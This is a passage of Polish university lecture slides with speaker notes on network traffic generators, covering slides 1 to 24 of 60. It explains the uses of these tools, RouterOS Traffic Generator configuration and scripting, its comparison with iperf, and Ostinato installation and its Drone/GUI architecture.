1/60
Generowanie ruchu sieciowego - narzędzia i praktyka

Prezentacja przedstawia narzędzia do generowania ruchu sieciowego: RouterOS Traffic Generator (MikroTik), Ostinato oraz Scapy. Omówiono praktyczne zastosowania generatorów w testowaniu wydajności, debugowaniu protokołów i audycie bezpieczeństwa. Przedstawiono porównanie narzędzi pod kątem wydajności i elastyczności w sieciach LAN i WAN.

Generowanie ruchu - grafika tytułowa

Generowanie ruchu sieciowego stanowi fundamentalne narzędzie w pracy inżyniera sieciowego, pozwalające na kontrolowane testowanie infrastruktury przed jej wdrożeniem produkcyjnym. Dzięki specjalizowanym generatorom można symulować różnorodne scenariusze obciążeniowe, od prostego ruchu UDP po złożone sesje TCP z niestandardowymi flagami. Narzędzia takie jak Ostinato i Scapy umożliwiają precyzyjne sterowanie każdym bajtem pakietu, co jest nieocenione przy debugowaniu protokołów i testowaniu zabezpieczeń. W ramach tej części poznamy zarówno rozwiązania sprzętowe (MikroTik RouterOS Traffic Generator), jak i programowe (Ostinato, Scapy), a także porównamy je pod kątem wydajności i elastyczności. Wiedza ta pozwoli świadomie dobierać narzędzie do konkretnego zadania pomiarowego w sieci LAN i WAN.

2/60
Plan jedenastej części

Plan części 11

  • Dlaczego generować ruch sieciowy?
  • RouterOS Traffic Generator (MikroTik)
  • Ostinato – graficzny generator pakietów
  • Scapy – Pythonowa fabryka pakietów
  • Porównanie narzędzi
  • Podsumowanie i pytania kontrolne
Plan części 11 - mapa myśli

Plan części jedenastej został ułożony w sposób progresywny – zaczynamy od uzasadnienia potrzeby generowania ruchu, poprzez narzędzia wbudowane w routery MikroTik, aż po zaawansowane biblioteki programistyczne. Każde z omawianych narzędzi zostanie przedstawione od strony praktycznej: instalacja, konfiguracja, uruchomienie oraz analiza wyników. Szczególny nacisk położono na porównanie wydajności i obszarów zastosowań, aby student mógł samodzielnie podjąć decyzję, które narzędzie wybrać w konkretnym scenariuszu. Część obejmuje również przykłady skryptów automatyzujących testy oraz zadania praktyczne do samodzielnego wykonania.

3/60
Cel generowania ruchu

Cel generowania ruchu sieciowego

Generowanie ruchu sieciowego to celowe wysyłanie pakietów w celu:

  • Testowania wydajności – pomiar przepustowości, opóźnień, jittera
  • Benchmarkingu – porównywanie urządzeń sieciowych (switchy, routerów, firewalli)
  • Symulacji – odtworzenie warunków rzeczywistych w laboratorium
  • Weryfikacji reguł – testowanie ACL, reguł firewalla, QoS
  • Edukacji – nauka protokołów, analiza pakietów, debugowanie
Generowanie ruchu to kluczowa umiejętność inżyniera sieciowego – pozwala przewidzieć zachowanie sieci przed wdrożeniem.
Laboratorium testowe z generatorem, DUT i analizatorem

Celowe generowanie pakietów sieciowych pozwala na przeprowadzanie testów w warunkach laboratoryjnych bez konieczności oczekiwania na rzeczywiste obciążenie sieci. Dzięki temu można zmierzyć maksymalną przepustowość łącza (throughput), sprawdzić zachowanie mechanizmów QoS (Quality of Service) oraz zweryfikować poprawność reguł dostępu (ACL) na firewallach i routerach. W środowisku edukacyjnym generatory ruchu służą do nauki protokołów – student może prześledzić cały cykl życia pakietu, od wygenerowania przez transmisję aż po analizę w programie Wireshark. W przemyśle narzędzia te wykorzystuje się do certyfikacji urządzeń sieciowych zgodnie ze standardami RFC 2544 i ITU-T Y.1564. Kluczową zaletą jest powtarzalność testów – ten sam scenariusz można odtworzyć wielokrotnie w identycznych warunkach.

4/60
Rodzaje generatorów ruchu

Programowe, sprzętowe, skryptowe

TypPrzykładyZaletyWady
Programowehping3, iperf3, OstinatoElastyczność, GUI, niski kosztWydajność ograniczona CPU
SprzętoweIXIA, Spirent, XenaWysoka wydajność, dokładnośćBardzo wysoki koszt
Skryptowe/biblioteczneScapy, dpkt, PacketPełna kontrola, automatyzacjaWolniejsze, wymagają programowania
Trzy kolumny: oprogramowanie, sprzęt, kod Pythona

Podział generatorów na programowe, sprzętowe i skryptowe wynika z różnych potrzeb użytkowników – inżynier laboratorium potrzebuje wysokiej wydajności, a student elastyczności i niskiego kosztu. Generatory programowe, takie jak Ostinato czy hping3, są wystarczające dla większości zastosowań laboratoryjnych i oferują przyjazny interfejs użytkownika. Generatory sprzętowe, reprezentowane przez urządzenia firm IXIA (obecnie Keysight) i Spirent, potrafią generować ruch z prędkością 400 Gb/s i więcej, ale ich ceny sięgają dziesiątek tysięcy złotych. Generatory biblioteczne, na czele z Scapy, dają pełną kontrolę nad strukturą pakietu, co jest niezastąpione przy testowaniu niestandardowych protokołów i analizie bezpieczeństwa. Wybór odpowiedniego typu zależy od budżetu, wymaganej wydajności oraz stopnia skomplikowania testów.

5/60
Porównanie generatorów ruchu

hping3 vs Ostinato vs Scapy vs RouterOS vs packeth

NarzędziePlatformaInterfejsProtokołyWydajność
hping3Linux/UnixCLITCP, UDP, ICMP, raw IPŚrednia
OstinatoWindows, Linux, macOSGUI + DroneEthernet, IP, TCP, UDP, wiele innychWysoka
ScapyWszystkie (Python)CLI / API PythonDowolne (programowalne)Niska–średnia
RouterOS TGMikroTik RouterOSCLI (RouterOS)UDP, TCP, ICMPŚrednia (CPU-bound)
packethLinuxGUI GTKEthernet, IP, ARPNiska
Loga narzędzi w rzędzie

Porównanie generatorów ruchu uwzględnia kilka kluczowych kryteriów: wspierane protokoły, maksymalną przepustowość, łatwość automatyzacji oraz dostępność na różnych platformach systemowych. hping3, działający wyłącznie w środowisku Linux/Unix, jest niezastąpiony do szybkich testów CLI i sprawdzania pojedynczych reguł firewalla. Ostinato, dostępny na Windows, Linux i macOS, oferuje wygodny interfejs graficzny i wysoką wydajność dzięki implementacji w C++. Scapy, napisany w Pythonie, zapewnia największą elastyczność kosztem wydajności – jego przepustowość rzadko przekracza 100 Mb/s. RouterOS Traffic Generator jest ograniczony do ekosystemu MikroTik, ale nie wymaga dodatkowego sprzętu poza routerem. packeth to lekkie narzędzie z GUI GTK dla Linux, przydatne do szybkiego generowania pojedynczych ramek Ethernet.

6/60
Wybór odpowiedniego generatora

Wybór odpowiedniego generatora

  • RouterOS Traffic Generator – szybki test w sieci MikroTik, bez dodatkowego sprzętu
  • Ostinato – testowanie firewall, tworzenie złożonych strumieni, GUI dla początkujących
  • Scapy – prototypowanie, edukacja, niestandardowe protokoły, automatyzacja testów
  • hping3 – szybkie testy CLI, sprawdzanie reguł firewalla, ataki DoS w laboratorium
  • iperf3 – pomiar przepustowości TCP/UDP (nie generowanie dowolnych pakietów)
Nie ma jednego najlepszego generatora – wybór zależy od scenariusza, budżetu i wymaganej wydajności.
Diagram decyzyjny wyboru narzędzia

Wybór generatora ruchu powinien być podyktowany konkretnym scenariuszem testowym oraz dostępnymi zasobami. Jeśli dysponujemy routerem MikroTik i chcemy szybko sprawdzić przepustowość łącza między dwoma biurami, Traffic Generator będzie najprostszym rozwiązaniem – nie wymaga instalacji dodatkowego oprogramowania. Do testowania zapór ogniowych i tworzenia złożonych strumieni z różnymi protokołami lepiej sprawdzi się Ostinato ze względu na edytor warstw i precyzyjną kontrolę szybkości. Scapy jest idealny do prototypowania nowych rozwiązań, edukacji oraz automatyzacji – skrypt Pythona może wykonać cały zestaw testów i zapisać wyniki do pliku. hping3 sprawdza się w sytuacjach, gdy potrzebujemy szybko zweryfikować regułę firewalla z poziomu terminala. W praktyce inżynierskiej warto znać co najmniej dwa narzędzia, aby móc elastycznie dostosować się do wymagań zadania.

7/60
RouterOS Traffic Generator

Wbudowane narzędzie w MikroTik

RouterOS Traffic Generator to wbudowane narzędzie w system RouterOS (MikroTik) umożliwiające generowanie ruchu sieciowego bez dodatkowego oprogramowania.

Dostępne od wersji RouterOS 6.x (wcześniej oddzielny pakiet).

Zastosowania:

  • Testowanie przepustowości łączy między routerami MikroTik
  • Weryfikacja konfiguracji QoS, firewall, NAT
  • Diagnostyka sieci bez konieczności posiadania zewnętrznego generatora
Traffic Generator działa w przestrzeni użytkownika – obciąża CPU routera. Nie jest przeznaczony do testowania przepustowości > 1 Gb/s na słabym sprzęcie.
Logo MikroTik + konsola RouterOS

RouterOS Traffic Generator jest integralną częścią systemu MikroTik RouterOS i nie wymaga zakupu żadnych dodatkowych licencji ani pakietów. W starszych wersjach RouterOS (przed 6.x) narzędzie to było dostępne jako oddzielny pakiet do instalacji, ale obecnie jest wbudowane domyślnie. Traffic Generator działa w przestrzeni użytkownika, co oznacza, że każdy pakiet musi zostać skopiowany między pamięcią jądra a aplikacją – to główne ograniczenie wydajności. Niemniej jednak dla łączy do 1 Gb/s i na sprzęcie średniej klasy (RB750, RB951) narzędzie to w pełni wystarcza do podstawowych testów. Weryfikacja konfiguracji kolejkowania (queue tree), reguł filtrowania (firewall filter) oraz translacji adresów (NAT) to typowe zastosowania, w których Traffic Generator sprawdza się doskonale.

8/60
Uruchomienie Traffic Generator

Komenda /tool traffic-generator

Dostęp z konsoli RouterOS przez komendę:

/tool traffic-generator

Po wpisaniu przechodzimy w kontekst TG:

[admin@MikroTik] /tool traffic-generator>

Podkomendy:

  • start – uruchomienie generatora
  • stop – zatrzymanie generatora
  • stream – konfiguracja strumieni
  • monitor – podgląd wyników
Konsola RouterOS z kontekstem TG

Uruchomienie Traffic Generator w konsoli RouterOS odbywa się przez wpisanie komendy /tool traffic-generator, która przenosi użytkownika w kontekst narzędzia. W tym kontekście dostępne są podkomendy: start (uruchomienie generowania), stop (zatrzymanie), stream (konfiguracja poszczególnych strumieni) oraz monitor (podgląd statystyk na żywo). Przed pierwszym uruchomieniem należy skonfigurować adresy źródłowe i docelowe oraz interfejsy, przez które ruch będzie wysyłany i odbierany. Traffic Generator wymaga, aby po obu stronach testu znajdowały się urządzenia MikroTik – jedno działa jako nadajnik, drugie jako odbiornik. Warto pamiętać, że komendy kontekstu TG można poprzedzać pełną ścieżką /tool traffic-generator, co jest przydatne w skryptach.

9/60
Podstawowa konfiguracja TG

Podstawowa konfiguracja

Przed uruchomieniem generatora należy skonfigurować interfejs źródłowy i docelowy:

# Ustawienie interfejsu źródłowego
/tool traffic-generator set src-address=192.168.1.1 src-interface=ether1
dst-address=192.168.1.2 dst-interface=ether2

# Wyświetlenie konfiguracji
/tool traffic-generator print

src-address – adres IP źródła

dst-address – adres IP celu

src-interface / dst-interface – interfejsy, przez które ruch będzie wysyłany/odbierany

Schemat połączenia Router1–Router2

Podstawowa konfiguracja Traffic Generator w RouterOS sprowadza się do ustawienia czterech parametrów: adresu IP źródła (src-address), adresu IP celu (dst-address), interfejsu źródłowego (src-interface) oraz interfejsu docelowego (dst-interface). Adresy IP mogą należeć do tej samej lub różnych podsieci, o ile routing między nimi jest poprawnie skonfigurowany. Interfejsy powinny wskazywać na fizyczne porty lub interfejsy VLAN, przez które będzie przepływał ruch testowy. Komenda /tool traffic-generator print wyświetla aktualną konfigurację, umożliwiając weryfikację poprawności ustawień przed rozpoczęciem testu. W przypadku błędnej konfiguracji generator zgłosi błąd podczas próby uruchomienia, informując o brakujących parametrach.

10/60
Konfiguracja strumienia UDP

Stream UDP – konfiguracja

# Dodanie strumienia UDP
/tool traffic-generator stream add name=udp-test protocol=udp
src-port=10000 dst-port=20000 rate=100M size=1500

# Wyświetlenie strumieni
/tool traffic-generator stream print

Parametry strumienia:

  • protocol – udp, tcp, icmp
  • src-port / dst-port – porty źródłowy i docelowy
  • rate – szybkość generowania (bit/s, np. 100M = 100 Mb/s)
  • size – rozmiar pakietu w bajtach
Konfiguracja strumienia w konsoli

Strumienie UDP w RouterOS Traffic Generator konfiguruje się za pomocą podkomendy /tool traffic-generator stream add, gdzie określamy nazwę strumienia, protokół (udp), porty źródłowy i docelowy, szybkość generowania oraz rozmiar pakietu. Szybkość (rate) podaje się w bitach na sekundę z jednostkami takimi jak k (kilobity), M (megabity) lub G (gigabity). Rozmiar pakietu (size) określa się w bajtach – typowe wartości to 64 (minimalny rozmiar ramki Ethernet), 512, 1024 i 1500 (standardowy MTU). W przypadku UDP można generować ruch z prędkością zbliżoną do maksymalnej przepustowości łącza, o ile CPU routera jest w stanie obsłużyć taką liczbę pakietów na sekundę. Podczas testów UDP należy pamiętać, że protokół ten nie ma mechanizmów kontroli przepływu ani retransmisji, więc wszelkie straty pakietów są natychmiast widoczne w statystykach.

11/60
Strumień TCP – dodatkowe opcje

Stream TCP – dodatkowe opcje

# Dodanie strumienia TCP
/tool traffic-generator stream add name=tcp-test protocol=tcp
src-port=30000 dst-port=40000 rate=50M size=1460

# Można ustawić flagi TCP
/tool traffic-generator stream set [find name=tcp-test]
tcp-flags=syn,ack

# Ustawienie okna TCP
/tool traffic-generator stream set [find name=tcp-test]
tcp-window=65535

Traffic Generator TCP nie wykonuje pełnego handshake – wysyła pakiety z zadanymi flagami.

Nagłówek TCP z zaznaczonymi polami

Strumienie TCP w Traffic Generator różnią się od UDP możliwością ustawienia flag TCP oraz rozmiaru okna. Należy jednak pamiętać, że Traffic Generator nie wykonuje trójstopniowego uzgadniania (three-way handshake) – wysyła pakiety z zadanymi flagami, nie oczekując odpowiedzi. Oznacza to, że generowane pakiety TCP mogą być odrzucane przez stos sieciowy odbiornika, jeśli nie pasują do stanu istniejącego połączenia. Flagi TCP ustawia się za pomocą parametru tcp-flags, gdzie można podać kombinacje takie jak syn, ack, syn,ack, fin, psh, ack itd. Rozmiar okna TCP (tcp-window) określa ilość danych, jaką nadawca może wysłać przed otrzymaniem potwierdzenia, co ma wpływ na przepustowość w sieciach o dużym opóźnieniu. W praktyce testy TCP z Traffic Generator najlepiej sprawdzają się przy weryfikacji reguł firewalla filtrujących określone flagi.

12/60
Monitorowanie strumienia TG

Monitorowanie strumienia

# Uruchomienie generatora
/tool traffic-generator start

# Podgląd statystyk
/tool traffic-generator monitor

Dostępne statystyki:

  • throughput – rzeczywista przepustowość (bps)
  • packets – liczba wysłanych/odebranych pakietów
  • packet-loss – procentowa i bezwzględna utrata pakietów
  • jitter – zmienność opóźnienia (ms)
  • latency – opóźnienie średnie (ms)
Wysoki packet loss (> 1%) wskazuje na przeciążenie łącza lub CPU routera.
Monitor Traffic Generator z tabelą statystyk

Monitorowanie strumieni w Traffic Generator odbywa się za pomocą komendy /tool traffic-generator monitor, która wyświetla w czasie rzeczywistym statystyki dla każdego aktywnego strumienia. Kluczowe wskaźniki to przepustowość rzeczywista (throughput), liczba wysłanych i odebranych pakietów, procentowa utrata pakietów (packet loss), zmienność opóźnienia (jitter) oraz średnie opóźnienie (latency). W przypadku testów UDP utrata pakietów na poziomie poniżej 0,1% jest uznawana za akceptowalną, natomiast powyżej 1% wskazuje na poważne przeciążenie łącza lub brak mocy obliczeniowej routera. Wartość jitter ma kluczowe znaczenie dla aplikacji czasu rzeczywistego – dla VoIP nie powinna przekraczać 30 ms, a dla wideokonferencji HD 50 ms. Monitor można uruchomić przed rozpoczęciem generowania strumienia, aby zaobserwować wartości wyjściowe.

13/60
Test między RouterOS

Test między dwoma RouterOS

Konfiguracja po stronie odbiornika (Router2):

/tool traffic-generator set src-address=192.168.1.2
dst-address=192.168.1.1 src-interface=ether1 dst-interface=ether1

Po stronie nadajnika (Router1):

/tool traffic-generator stream add name=test protocol=udp \
rate=500M size=1500
/tool traffic-generator start
:delay 30
/tool traffic-generator stop

Po 30 sekundach odczytaj wyniki komendą monitor.

Schemat połączenia dwóch routerów z generatorami

Scenariusz testu między dwoma routerami MikroTik wymaga starannego skonfigurowania zarówno nadajnika, jak i odbiornika. Po stronie odbiornika ustawiamy adres źródłowy na jego własny interfejs oraz adres docelowy na interfejs nadajnika – to konfiguracja symetryczna. Nadajnik dodaje strumień testowy, uruchamia generator, odczekuje zadany czas (np. 30 sekund) i zatrzymuje generator. W skrypcie można użyć komendy :delay do odmierzenia czasu testu. Po zakończeniu testu wyniki odczytuje się komendą /tool traffic-generator monitor, która pokazuje średnie wartości z całego okresu testu. W przypadku testowania łączy symetrycznych warto przeprowadzić test w obie strony, aby wykryć ewentualną asymetrię przepustowości. Testy można też zautomatyzować, zapisując wyniki do pliku za pomocą /file print.

14/60
Monitorowanie CPU podczas testu

Monitorowanie CPU podczas testu

Profiler w RouterOS pozwala obserwować obciążenie CPU podczas generowania ruchu:

# Uruchom profiler w osobnym oknie
/tool profile

# Uruchom generator
/tool traffic-generator start

# Obserwuj % użycia CPU (proces traffic-gen)

Jeśli traffic-gen zużywa > 80% CPU, rzeczywista przepustowość będzie niższa niż zadana.

Wynika to z architektury – Traffic Generator działa w przestrzeni użytkownika i wymaga kopiowania pakietów.

Limit wydajności Traffic Generator na RB750 to ok. 200–300 Mb/s. Na CCR – do kilku Gb/s.
Narzędzie /tool profile z procesem traffic-gen

Monitorowanie obciążenia CPU podczas generowania ruchu jest kluczowe dla interpretacji wyników Traffic Generator. Narzędzie /tool profile w RouterOS wyświetla procentowe wykorzystanie CPU przez poszczególne procesy, w tym traffic-gen. Jeśli proces traffic-gen przekracza 80% użycia CPU, rzeczywista przepustowość będzie niższa niż zadana, ponieważ CPU nie nadąża z przetwarzaniem pakietów. Wynika to z architektury Traffic Generator, który działa w przestrzeni użytkownika i wymaga kopiowania danych między przestrzenią jądra a użytkownika. Na słabszych modelach, takich jak RB750 (jednordzeniowy CPU 400 MHz), maksymalna osiągalna przepustowość to około 200-300 Mb/s, podczas gdy na modelach CCR (Cloud Core Router) z wieloma rdzeniami można osiągnąć kilka Gb/s. W przypadku osiągnięcia limitu CPU zaleca się zmniejszenie szybkości generowania lub zastosowanie zewnętrznego generatora sprzętowego.

15/60
Ograniczenia Traffic Generator

Na co uważać?

  • CPU-bound – generator obciąża CPU, nie jest wydajny dla łączy > 1 Gb/s
  • Tylko RouterOS – wymaga MikroTik po obu stronach testu
  • Ograniczona kontrola pakietów – brak możliwości ustawienia dowolnych pól nagłówka
  • Brak warstwy 2 – nie generuje surowych ramek Ethernet, tylko IP
  • Brak wbudowanego zapisu pcap – nie można łatwo przechwycić wygenerowanego ruchu

Alternatywa: użyj RouterOS + tcpdump (przez dodatkowy interfejs lub port mirror).

Lista ostrzeżeń z ikonami

Ograniczenia Traffic Generator w RouterOS są istotne przy planowaniu testów wydajnościowych. Przede wszystkim generator obciąża procesor routera, co oznacza, że na słabszych modelach nie można osiągnąć przepustowości 1 Gb/s. Kolejnym ograniczeniem jest wymóg posiadania RouterOS po obu stronach połączenia – Traffic Generator nie współpracuje z urządzeniami innych producentów. Kontrola nad pakietami jest ograniczona do podstawowych pól nagłówka – nie można ustawić dowolnych opcji IP, rozszerzeń TCP ani niestandardowych protokołów warstwy 2. Traffic Generator nie generuje surowych ramek Ethernet, co uniemożliwia testowanie przełączników na poziomie ramek. Brak wbudowanego zapisu strumienia do pliku pcap utrudnia późniejszą analizę przechwyconego ruchu – konieczne jest stosowanie dodatkowych narzędzi, takich jak tcpdump na interfejsie lustrzanym (port mirroring).

16/60
TG vs iperf na RouterOS

Traffic Generator vs iperf

RouterOS obsługuje też iperf (od wersji 7.x):

# Uruchom serwer iperf na RouterOS
/tool iperf server set enabled=yes

# Uruchom klienta iperf z innego hosta
iperf3 -c 192.168.1.1 -t 30 -b 100M
CechaTraffic Generatoriperf
ProtokołyUDP, TCP, ICMPTCP, UDP
Kontrola pakietówPodstawowa (porty, rozmiar, rate)Tylko przepustowość
WydajnośćŚredniaWyższa (zoptymalizowany kod)
ScenariuszeTesty warstwy 3/4Pomiar przepustowości
Loga Traffic Generator i iperf

Porównanie Traffic Generator z iperf na RouterOS pokazuje, że oba narzędzia mają swoje mocne i słabe strony. Traffic Generator oferuje większą kontrolę nad strukturą pakietów (flagi TCP, rozmiar okna, porty) oraz umożliwia generowanie ruchu ICMP, czego iperf nie obsługuje. Z kolei iperf, dostępny w RouterOS od wersji 7.x, cechuje się wyższą wydajnością dzięki zoptymalizowanemu kodowi w C i lepszej integracji ze stosem TCP/IP systemu operacyjnego. iperf mierzy wyłącznie przepustowość i nie nadaje się do testowania reguł firewalla ani generowania specyficznych pakietów. W praktyce warto stosować oba narzędzia komplementarnie: Traffic Generator do weryfikacji reguł i testowania warstwy 3/4, a iperf do pomiarów czystej przepustowości łącza. iperf oferuje również tryb dwukierunkowy (--bidir) oraz raportowanie w formacie JSON.

17/60
Scenariusz praktyczny TG

Scenariusz praktyczny

Mamy dwa biura połączone tunelem IPsec (MikroTik – MikroTik).

Cel: sprawdzić rzeczywistą przepustowość tunelu.

Konfiguracja:

# Biuro A – nadajnik
/tool traffic-generator stream add name=vpn-test protocol=udp \
rate=200M size=1400
/tool traffic-generator start
:delay 60
/tool traffic-generator stop
/tool traffic-generator monitor

Wynik: throughput = 180 Mb/s, packet loss = 2% – oznacza przeciążenie lub zbyt słaby sprzęt.

Schemat tunelu IPsec + wykres przepustowości

Scenariusz praktyczny z tunelem IPsec między dwoma biurami obrazuje typowe zastosowanie Traffic Generator w rzeczywistej infrastrukturze. Przed przystąpieniem do testu należy upewnić się, że tunel IPsec jest poprawnie skonfigurowany i aktywny – można to sprawdzić komendą /ip ipsec installed-sa print. Test polega na wygenerowaniu strumienia UDP z prędkością zbliżoną do oczekiwanej przepustowości tunelu i obserwacji statystyk. Jeśli rzeczywista przepustowość jest znacząco niższa od zadanej, przyczyną może być zbyt słaby CPU routera (szyfrowanie IPsec jest obliczeniowo intensywne) lub nieoptymalna konfiguracja parametrów IPsec (np. zbyt mały rozmiar okna IKE). W opisanym przykładzie spadek z 200 Mb/s do 180 Mb/s i utrata 2% pakietów sugeruje, że router osiąga granicę swoich możliwości obliczeniowych przy szyfrowaniu AES-256. Rozwiązaniem może być wymiana routera na model z akceleracją AES-NI lub zmniejszenie szybkości szyfrowania.

18/60
Testowanie przez VLAN

Testowanie przez VLAN

RouterOS Traffic Generator działa na interfejsach VLAN bez dodatkowej konfiguracji:

# Utwórz interfejs VLAN
/interface vlan add name=vlan100 vlan-id=100 interface=ether1

# Konfiguracja TG z interfejsem VLAN
/tool traffic-generator set src-interface=vlan100
dst-interface=vlan100

# Uruchom test
/tool traffic-generator stream add name=vlan-test \
protocol=udp rate=50M size=1500
/tool traffic-generator start

Przydatne do testowania konfiguracji VLAN i QoS między sieciami VLAN.

Dwa routery z VLAN 100 połączone trunkiem

Testowanie przez interfejsy VLAN z Traffic Generator jest szczególnie przydatne w środowiskach, gdzie ruch między sieciami VLAN jest izolowany i podlega różnym regułom QoS. RouterOS Traffic Generator nie wymaga specjalnej konfiguracji dla VLAN – wystarczy utworzyć interfejs VLAN (/interface vlan add) i wskazać go jako src-interface oraz dst-interface w konfiguracji generatora. Należy upewnić się, że przełączniki między routerami poprawnie przekazują ramki z tagiem VLAN (porty trunk). Testowanie przez VLAN pozwala zweryfikować, czy konfiguracja kolejkowania (queue tree) dla poszczególnych VLAN działa poprawnie oraz czy reguły firewalla filtrują ruch między VLAN zgodnie z polityką bezpieczeństwa. W laboratorium dydaktycznym jest to doskonały sposób na zademonstrowanie izolacji ruchu między sieciami VLAN i wpływu priorytetyzacji QoS na przepustowość.

19/60
Automatyzacja testów TG

Automatyzacja testów

RouterOS obsługuje skrypty – można zautomatyzować cały test:

:local time 30
:local rate "100M"

/tool traffic-generator stream add name=auto-test \
protocol=udp rate=$rate size=1500
/tool traffic-generator start
:delay $time
/tool traffic-generator stop

:local result [/tool traffic-generator monitor]
:put ("Throughput: " . $result)

Skrypt można uruchomić z Scheduler (zaplanowany test co godzinę).

Wyniki można zapisać do pliku lub wysłać e-mailem (/tool e-mail).

Edytor skryptów w RouterOS

Tworzenie skryptów testów Traffic Generator w języku skryptowym RouterOS umożliwia pełną automatyzację pomiarów, co jest szczególnie cenne przy regularnych testach SLA lub monitorowaniu wydajności łącza. W skrypcie można definiować zmienne lokalne (:local), dodawać strumienie, uruchamiać generator, odmierzacz czas (:delay), zatrzymywać test i odczytywać wyniki. Wyniki monitora można przypisać do zmiennej i wyświetlić za pomocą :put. Zaawansowane skrypty mogą zapisywać wyniki do pliku (/file set ... content=...), wysyłać raporty e-mailem (/tool e-mail send) lub uruchamiać się cyklicznie z poziomu Scheduler (/system scheduler add). Automatyzacja pozwala na prowadzenie ciągłych pomiarów przez wiele dni i analizę trendów, co jest niemożliwe przy ręcznym uruchamianiu testów. Należy jednak pamiętać, że zbyt częste testy mogą obciążać CPU routera i wpływać na jakość usług dla użytkowników.

20/60
Czym jest Ostinato?

Czym jest Ostinato?

Ostinato – graficzny generator i analizator ruchu sieciowego. Open source (GPLv3).

Strona: https://ostinato.org/

Możliwości:

  • Tworzenie pakietów dowolnego typu przez edytor warstw
  • Generowanie strumieni z kontrolą szybkości, burst, IPG
  • Jednoczesne generowanie wielu strumieni
  • Odbiór i statystyki w czasie rzeczywistym
  • Zapis/odczyt konfiguracji (.ost)
Logo Ostinato + główne okno programu

Ostinato to zaawansowane, otwarte narzędzie do generowania i analizy ruchu sieciowego, rozpowszechniane na licencji GPLv3. W przeciwieństwie do Traffic Generator od MikroTik, Ostinato działa na wielu platformach (Windows, Linux, macOS) i oferuje graficzny interfejs użytkownika, co znacznie obniża próg wejścia dla początkujących. Narzędzie to umożliwia tworzenie pakietów dowolnego typu za pomocą edytora warstw – każdy protokół (Ethernet, IP, TCP, UDP i wiele innych) stanowi osobną warstwę, którą można dowolnie konfigurować. Ostinato pozwala na generowanie wielu strumieni jednocześnie, każdy z własnymi ustawieniami szybkości, czasu trwania i priorytetu. Wbudowany odbiornik (receive mode) umożliwia przechwytywanie i analizę odebranych pakietów, co czyni Ostinato kompletnym narzędziem do testowania urządzeń sieciowych w laboratorium.

21/60
Instalacja na platformach

Instalacja na różnych platformach

Windows:

# Pobierz instalator ze strony https://ostinato.org/
# Uruchom Ostinato Drone + Ostinato GUI

Linux (Debian/Ubuntu):

# Pobierz paczkę .deb ze strony https://ostinato.org/
sudo apt install ./ostinato-agent*.deb ./ostinato-controller*.deb

Linux (Fedora/RHEL):

# Pobierz paczkę .rpm ze strony https://ostinato.org/
sudo yum localinstall ostinato-agent*.rpm ostinato-controller*.rpm

AppImage: pobierz i uruchom bez instalacji.

Instalacja Ostinato na różnych systemach

Instalacja Ostinato różni się w zależności od systemu operacyjnego, ale we wszystkich przypadkach jest prosta i dobrze udokumentowana. Na Windows wystarczy pobrać instalator ze strony oficjalnej i uruchomić – instalator zawiera zarówno Drone (serwer), jak i GUI (klient). Na Debianie/Ubuntu zaleca się pobranie paczki .deb ze strony ostinato.org i instalację przez menedżer pakietów apt. Na Fedorze/RHEL zaleca się pobranie paczki .rpm ze strony ostinato.org i instalację przez menedżer pakietów yum. Dla systemów, na których nie ma pakietu w repozytorium, dostępna jest wersja AppImage, która działa bez instalacji – wystarczy pobrać plik, nadać mu uprawnienia do wykonania i uruchomić. Po instalacji należy upewnić się, że użytkownik ma odpowiednie uprawnienia do przechwytywania pakietów (na Linux wymagane są prawa root lub ustawienie odpowiednich capability CAP_NET_RAW).

22/60
Architektura Drone + GUI

Klient-serwer w Ostinato

Ostinato składa się z dwóch komponentów:

  • Drone (serwer) – proces przechwytujący/wysyłający pakiety, uruchamiany na interfejsie
  • GUI (klient) – aplikacja graficzna do sterowania Drone

Architektura pozwala na:

  • Zdalne sterowanie – Drone na zdalnym hoście, GUI lokalnie
  • Wiele Drone – jeden GUI może sterować wieloma generatorami
  • Niezależność platformy – Drone na Linux, GUI na Windows
W laboratorium: uruchom Drone na maszynie testowej, GUI na laptopie studenta.
Architektura: GUI ↔ Drone ↔ interfejs sieciowy

Architektura klient-serwer Ostinato, oparta na modelu Drone + GUI, zapewnia dużą elastyczność w konfiguracji laboratoriów pomiarowych. Drone (serwer) to proces działający na hoście, który ma fizyczny dostęp do interfejsów sieciowych – odpowiada za wysyłanie i odbieranie pakietów na najniższym poziomie. GUI (klient) to aplikacja graficzna, która łączy się z Drone przez sieć z wykorzystaniem protokołu TCP (domyślnie port 7878). Taka architektura pozwala na zdalne sterowanie generatorem – Drone może działać na maszynie w laboratorium, a GUI na laptopie studenta w dowolnym miejscu sieci. Możliwe jest również podłączenie wielu Drone do jednego GUI, co umożliwia testy rozproszone z wykorzystaniem kilku generatorów jednocześnie. W środowisku dydaktycznym zaleca się uruchomienie Drone na dedykowanej maszynie testowej, a GUI na komputerach studentów, co minimalizuje problemy z uprawnieniami.

23/60
Uruchamianie Drone i GUI

Uruchamianie Drone i GUI

# Uruchom Drone (Linux – wymaga root)
sudo ostinato-drone -p 7878

# Uruchom GUI
ostinato-gui

W GUI:

  1. Kliknij Add Port – wybierz interfejs
  2. Kliknij Connect – połącz z Drone
  3. Port pojawi się na liście – gotowy do użycia

Porty można włączać/wyłączać (Enable/Disable).

GUI Ostinato z dodanym portem

Uruchomienie Ostinato rozpoczyna się od wystartowania procesu Drone z odpowiednimi uprawnieniami. Na Linux wymagane jest użycie sudo, ponieważ Drone potrzebuje dostępu do surowych gniazd (raw sockets). Parametr -p określa port, na którym Drone nasłuchuje połączeń od GUI – domyślnie jest to port 7878, ale można go zmienić w przypadku kolizji z innymi usługami. Po uruchomieniu Drone otwieramy GUI komendą ostinato-gui (lub klikając ikonę na Windows). W GUI należy dodać port (Add Port), wybrać odpowiedni interfejs sieciowy i kliknąć Connect – GUI połączy się z Drone i port pojawi się na liście dostępnych interfejsów. Port można włączyć (Enable) i wyłączyć (Disable), co odpowiednio aktywuje lub dezaktywuje przechwytywanie na tym interfejsie. W przypadku błędów połączenia należy sprawdzić, czy Drone jest uruchomiony i czy firewall nie blokuje portu 7878.

24/60
Edytor pakietów warstwowy

Edytor pakietów warstwowy

Ostinato używa edytora warstw – każdy protokół to osobna warstwa:

  • Ethernet – adresy MAC, EtherType
  • IP (IPv4/IPv6) – adresy IP, TTL, DSCP, fragmentacja
  • TCP/UDP – porty, flagi, okno, checksum
  • Payload – dane użytkownika (stałe, wzorce, losowe)

Dodawanie warstwy: prawy przycisk → Append Protocol.

Każdą warstwę można rozwinąć i edytować pola bezpośrednio.

Edytor pakietów z warstwami Ethernet, IP, TCP

